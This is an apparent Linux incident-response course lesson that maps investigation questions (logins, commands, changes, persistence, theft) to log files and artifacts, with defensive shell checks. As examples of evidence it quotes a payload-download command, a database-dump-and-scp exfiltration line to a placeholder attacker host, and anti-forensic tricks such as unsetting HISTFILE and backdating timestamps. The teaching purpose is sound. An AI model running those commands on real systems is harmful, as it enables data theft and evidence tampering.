LX0.2 Where Evidence Lives on Linux

The Linux Evidence Map: A Directory-by-Directory Investigation Reference

Evidence organized by investigation question

Investigators do not think in directory paths. They think in questions. “Who logged in?” “What did they run?” “What did they change?” “How did they persist?” “What did they steal?” Each question maps to specific evidence locations on a Linux system. The investigator who knows these mappings navigates the filesystem with purpose rather than searching randomly.

This subsection organizes the entire Linux evidence landscape by investigation question. Every path listed here is a path you will visit repeatedly throughout this course. By the end of the course, this map will be committed to memory through practice. For now, it is a reference you will return to at the start of every investigation.

Question 1: Who authenticated and when?

Authentication evidence on Linux is split across multiple sources, each capturing a different aspect of the authentication event. No single source provides the complete picture — you must correlate across all of them.

/var/log/auth.log (Debian, Ubuntu) or /var/log/secure (RHEL, CentOS, Fedora) is the primary authentication log. Every SSH login attempt (successful and failed), every sudo invocation, every su session change, and every PAM module event is recorded here. The log is plaintext, one event per line, with a timestamp, hostname, service name, PID, and event description.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

# Extract authentication events from the primary log
# Adjust the filename for your distribution (auth.log vs secure)

# Show all successful SSH logins
grep "Accepted" /var/log/auth.log
# Output format: Mar 28 03:17:42 WEBSRV-NGE01 sshd[4521]: Accepted publickey
#   for j.morrison from 198.51.100.47 port 52341 ssh2: RSA SHA256:abc123...
# Fields: timestamp | hostname | service[PID] | result | user | source IP | port | method

# Show all failed SSH logins (brute force indicator)
grep "Failed password" /var/log/auth.log | tail -20
# Output: Mar 28 03:15:08 WEBSRV-NGE01 sshd[4519]: Failed password for
#   invalid user admin from 203.0.113.55 port 41892 ssh2
# "invalid user" = the username does not exist on this system
# Hundreds of these from the same IP = brute force attack (LX4)

# Show all sudo usage (privilege escalation)
grep "sudo:" /var/log/auth.log
# Output: Mar 28 03:19:11 WEBSRV-NGE01 sudo: a.patel : TTY=pts/0 ;
#   PWD=/home/a.patel ; USER=root ; COMMAND=/bin/bash
# This tells you: a.patel ran sudo to get a root shell at 03:19

# Search across rotated logs (compressed with gzip after first rotation)
zgrep "Accepted" /var/log/auth.log*
# Searches auth.log, auth.log.1, auth.log.2.gz, auth.log.3.gz, auth.log.4.gz
# Gives you the full retention window (typically 4-5 weeks on default rotation)

The difference between a successful login and a failed login from the same source IP, minutes apart, is the brute force pattern you will investigate in LX4. The presence of sudo immediately after an SSH login tells you the attacker escalated to root.

/var/log/wtmp is a binary file that records every login and logout event. It is read with the last command. The wtmp file survives log rotation longer than auth.log on most distributions because it is not managed by the same rotation policy. An attacker who clears auth.log but forgets wtmp leaves a complete record of their login sessions. The counterpart is /var/log/btmp — a binary file recording failed login attempts, read with lastb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

# Read login/logout records from wtmp
last -20
# Output: j.morrison pts/0  198.51.100.47  Thu Mar 28 03:17  still logged in
# Fields: user | terminal | source IP | date | time | duration/status

# Read failed login attempts from btmp (requires root)
sudo lastb -20
# Output: admin    ssh:notty  203.0.113.55  Thu Mar 28 03:15 - 03:15 (00:00)
# Every line = one failed login attempt. Hundreds = brute force.

# Show the last login time for every user account on the system
lastlog
# Output shows each user and when they last logged in
# Accounts with "Never logged in" that suddenly show recent activity = suspicious
# Service accounts (www-data, mysql) should NEVER show interactive logins

/var/log/journal/ (systemd journal) contains structured log data including authentication events. The journal is a binary format that is harder for attackers to tamper with than plaintext log files — you cannot edit a single entry without corrupting the journal’s internal checksums.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

# Query SSH events from the systemd journal
journalctl -u sshd --since "2026-03-28" --until "2026-03-29" --no-pager
# -u sshd          : filter to SSH daemon events only
# --since/--until  : time window (ISO 8601 or "yesterday", "1 hour ago")
# --no-pager       : output directly instead of through less

# Check journal retention settings (how far back can you query?)
journalctl --disk-usage
# Shows: Archived and active journals take up 48.0M on disk
cat /etc/systemd/journald.conf | grep -E "SystemMaxUse|MaxRetentionSec"
# SystemMaxUse=  : maximum disk space for journal storage
# MaxRetentionSec= : maximum time to retain journal entries

/var/run/utmp records currently logged-in users. Read with who or w. This is volatile — it exists only while the system is running and is cleared on reboot. During a live response, check this immediately.

Question 2: What commands were executed?

Command execution evidence on Linux is sparse compared to Windows — there is no equivalent of Windows Security Event ID 4688 (Process Creation) enabled by default. What you get depends entirely on what was configured before the incident.

.bash_history (or .zsh_history, .fish_history) in the user’s home directory records interactive shell commands. The default configuration records commands when the shell session exits — not in real time. If the attacker kills their shell with kill -9 $$ instead of typing exit, the commands from that session may not be written to history. If the attacker runs unset HISTFILE at the start of their session, no commands are recorded at all.

Despite these limitations, bash history is one of the most valuable Linux artifacts because most attackers forget at least one session — they delete the history from their primary session but forget about the screen or tmux session they left running, or the sudo session that maintained its own history.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

# Check bash history for every user — including the investigation metadata
for home in /home/* /root; do
  user=$(basename "$home")
  hist="$home/.bash_history"
  if [ -f "$hist" ]; then
    size=$(stat -c '%s' "$hist")
    mtime=$(stat -c '%y' "$hist")
    lines=$(wc -l < "$hist" 2>/dev/null)
    echo "USER=$user SIZE=${size}B MODIFIED=$mtime LINES=$lines"
    # Size=0 means truncated. Missing file means deleted. Both = anti-forensics.
    # Old mtime (weeks/months ago) with recent login = attacker replaced the file
  else
    echo "USER=$user HISTORY=MISSING (deleted or never created)"
  fi
done

# Check for tmux and screen sessions that might have separate histories
find /home /root -name ".tmux.conf" -o -name ".screenrc" 2>/dev/null
# If tmux/screen is in use, check for socket files:
ls -la /tmp/tmux-* 2>/dev/null    # tmux sessions
ls -la /var/run/screen/ 2>/dev/null  # screen sessions
# Active sessions may have their own bash history not yet flushed to disk

/var/log/audit/audit.log (auditd) is the gold standard for command execution tracking on Linux — but only if the audit daemon was configured and running before the incident. When auditd is configured with the execve system call rule, it records every command executed on the system with the exact arguments:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

# Search auditd for command execution events during the compromise window
ausearch -m EXECVE --start "03/28/2026" "03:00:00" --end "03/28/2026" "06:00:00"
# Output: type=EXECVE msg=audit(1711601862.447:1284): argc=3
#   a0="wget" a1="-q" a2="http://203.0.113.99/payload.elf"
# This records the EXACT command the attacker ran — including the URL

# Check if auditd is running and what rules are configured
systemctl status auditd
auditctl -l
# If auditctl -l shows few or no rules, auditd is running with minimal
# configuration — you have authentication events but NOT command execution.
# This is the most common situation on production servers.

# Check for the specific execve rule that enables command tracking
auditctl -l | grep execve
# If empty: no command execution tracking. Pivot to bash history and /proc.
# If present: full command execution audit available — use ausearch.

The problem is that auditd is not configured with comprehensive rules by default on most Linux distributions. If the organization did not deploy audit rules before the incident, audit.log either does not exist or contains only minimal default events. This is one of the most important detection engineering recommendations in this course (addressed in LX15): deploy auditd rules proactively so that when the next incident occurs, the evidence is already being collected.

/proc/[pid]/cmdline and /proc/[pid]/exe provide volatile command execution evidence for currently running processes. /proc/[pid]/cmdline records the command line arguments. /proc/[pid]/exe is a symbolic link to the actual binary — even if deleted from disk.

Question 3: What did they change?

File modification evidence on Linux relies heavily on filesystem timestamps, supplemented by package manager logs and configuration management baselines.

Filesystem timestamps on ext4 provide four timestamps per inode: atime (last access), mtime (last modification), ctime (last metadata change), and crtime (creation time). The critical detail: ctime cannot be set by the user. An attacker can use touch to falsify mtime and atime, but ctime updates automatically on any metadata operation and cannot be directly manipulated from userspace. If an attacker creates a file and uses touch -t 202301010000 to backdate it, the mtime shows January 2023 but the ctime shows the actual creation time. Comparing mtime and ctime is a fundamental timestamp manipulation detection technique covered in depth in LX2.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

# Display all four timestamps for a suspicious file
stat /usr/local/bin/svc_monitor
# Output includes:
#   Access: 2026-03-28 03:22:15.123456789 +0000  (atime)
#   Modify: 2024-06-15 10:00:00.000000000 +0000  (mtime — looks old, suspicious)
#   Change: 2026-03-28 03:19:41.987654321 +0000  (ctime — actual creation date)
#   Birth:  2026-03-28 03:19:41.987654321 +0000  (crtime — filesystem creation)
# mtime 2024 but ctime 2026 = TIMESTAMP MANIPULATION. The attacker
# created this file on March 28 and backdated the mtime to June 2024.

# Find files modified in the last 24 hours (excluding virtual filesystems)
find / -mtime -1 -type f \
  -not -path "/proc/*" -not -path "/sys/*" -not -path "/run/*" \
  -not -path "/dev/*" 2>/dev/null
# Every file in this list was modified in the last 24 hours.
# Cross-reference against the compromise timeline.

# Verify system binary integrity against package manifests
# Debian/Ubuntu:
debsums -c 2>/dev/null    # reports changed configuration files
debsums -e 2>/dev/null    # reports changed non-config files (more suspicious)
# RHEL/CentOS:
rpm -Va 2>/dev/null        # S=size, 5=MD5, T=mtime, M=mode changed
# Any system binary flagged by these commands may have been trojaned

Package manager logs record tool installation. Attackers who run apt install nmap netcat leave a record in /var/log/apt/history.log (Debian) or /var/log/dnf.log (RHEL). Check for installations during the compromise window that were not part of scheduled maintenance.

Question 4: How did they persist?

Persistence evidence on Linux is distributed across several locations that the attacker uses to ensure their access survives reboots and credential changes.

~/.ssh/authorized_keys is the most common Linux persistence mechanism. The attacker adds their public SSH key to this file, granting password-less access. Cron jobs in /var/spool/cron/crontabs/ (Debian) or /var/spool/cron/ (RHEL) and system-wide schedules in /etc/cron.d/, /etc/crontab, /etc/cron.daily/, /etc/cron.hourly/ provide scheduled re-execution. Systemd services in /etc/systemd/system/ and ~/.config/systemd/user/ provide boot-time persistence with automatic restart. /etc/ld.so.preload enables shared library injection — if this file exists and contains a library path, that library is loaded into every process on the system. This is the rootkit deployment mechanism.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

# Complete persistence check — run all of these during every investigation

# SSH key persistence (check every user)
for home in /home/* /root; do
  keys="$home/.ssh/authorized_keys"
  [ -f "$keys" ] && echo "KEYS: $keys ($(wc -l < "$keys") keys, modified: $(stat -c '%y' "$keys"))"
done

# Cron persistence (user and system crontabs)
for user in $(cut -d: -f1 /etc/passwd); do
  crontab -u "$user" -l 2>/dev/null | grep -v '^#' | grep -v '^$' && echo "  [cron for: $user]"
done
cat /etc/cron.d/* /etc/crontab 2>/dev/null | grep -v '^#' | grep -v '^$'

# Systemd persistence (non-package services)
find /etc/systemd/system/ -name "*.service" -newer /etc/os-release 2>/dev/null
# -newer /etc/os-release = created AFTER the OS was installed = suspicious

# Rootkit indicator
test -f /etc/ld.so.preload && echo "WARNING: ld.so.preload EXISTS — possible rootkit" \
  && cat /etc/ld.so.preload || echo "Clean: no ld.so.preload"

Question 5: What did they steal?

Data exfiltration evidence on Linux is primarily found in network connection logs, command history, and file access records.

/var/log/auth.log records scp and sftp file transfers through SSH. Bash history may contain explicit exfiltration commands like tar czf /tmp/dump.tar.gz /var/lib/mysql/ followed by scp /tmp/dump.tar.gz attacker@203.0.113.99:. Auditd (if configured with file access rules) records every file read operation with system call-level precision. Network logs from iptables/nftables, web server access logs, and DNS query logs can reveal exfiltration channels — including DNS tunneling where data is encoded in DNS queries to an attacker-controlled domain.

Worked artifact — Evidence location checklist:

Use this checklist at the start of every Linux investigation. Check each source and record its status before beginning analysis.

Case: INC-2026-XXXX System: [hostname]

Authentication: ☐ auth.log/secure present (size: ___) ☐ wtmp present ☐ btmp present ☐ lastlog present ☐ journal active (retention: ___) ☐ utmp (current users: ___)

Command execution: ☐ bash_history per user (present/missing/empty) ☐ auditd running (rules: ___) ☐ /proc enumeration complete

File modification: ☐ find -mtime -N run ☐ package integrity checked (debsums/rpm -Va) ☐ /etc timestamp review

Persistence: ☐ authorized_keys checked per user ☐ cron checked (user + system) ☐ systemd services checked ☐ ld.so.preload checked

Exfiltration: ☐ auth.log scp/sftp entries ☐ bash history exfil commands ☐ network connections captured ☐ DNS logs checked

Evidence gaps: [List any sources that are missing, empty, or truncated — these gaps are themselves evidence of anti-forensic activity]

Decision points: when to prioritize which evidence source

Not every investigation starts the same way. The evidence source you check first depends on the initial alert:

Alert: suspicious SSH activity — start with auth.log/secure, then wtmp, then journal. Authentication sources tell the story.

Alert: high CPU / unknown process — start with /proc enumeration and ps auxf, then check cron and systemd for persistence. The running process is the evidence.

Alert: data exfiltration / outbound traffic — start with network connections (ss -tnp), then bash history, then auditd file access records. The network state tells you what is leaving right now.

Alert: modified configuration / web defacement — start with filesystem timestamps (find -mtime -1), then package integrity (debsums -e or rpm -Va), then /etc review. The filesystem tells you what changed.

Troubleshooting: evidence that is not where you expect

auth.log is empty or very small: check if syslog is running (systemctl status rsyslog). On RHEL 9+, rsyslog may not be installed — all logging goes through the journal only. Check journalctl instead.

bash_history shows commands from weeks ago but nothing recent: the attacker may have replaced the file with an old copy. Check the file’s mtime with stat — if the mtime is recent but the content is old, the file was overwritten.

auditd is running but audit.log has no execve events: auditd is running with default rules (authentication only). The organization did not deploy command execution rules. This is the most common situation. Accept the gap and pivot to alternative sources.

Journal returns no results for the compromise window: check journalctl --disk-usage and the retention settings. The journal may have rotated past the compromise date. On systems with limited disk space, journal retention can be as short as a few days.

Beyond this investigation

This evidence map applies to every module in this course. In LX4 (SSH Brute Force), you will focus on the authentication sources. In LX5 (Web Application Compromise), you will focus on web server logs and filesystem artifacts. In LX7 (Persistence), you will examine every persistence location described here. In LX12 (Memory Forensics), you will recover evidence from memory that the attacker deleted from these filesystem locations. The map does not change — your focus shifts depending on the investigation question.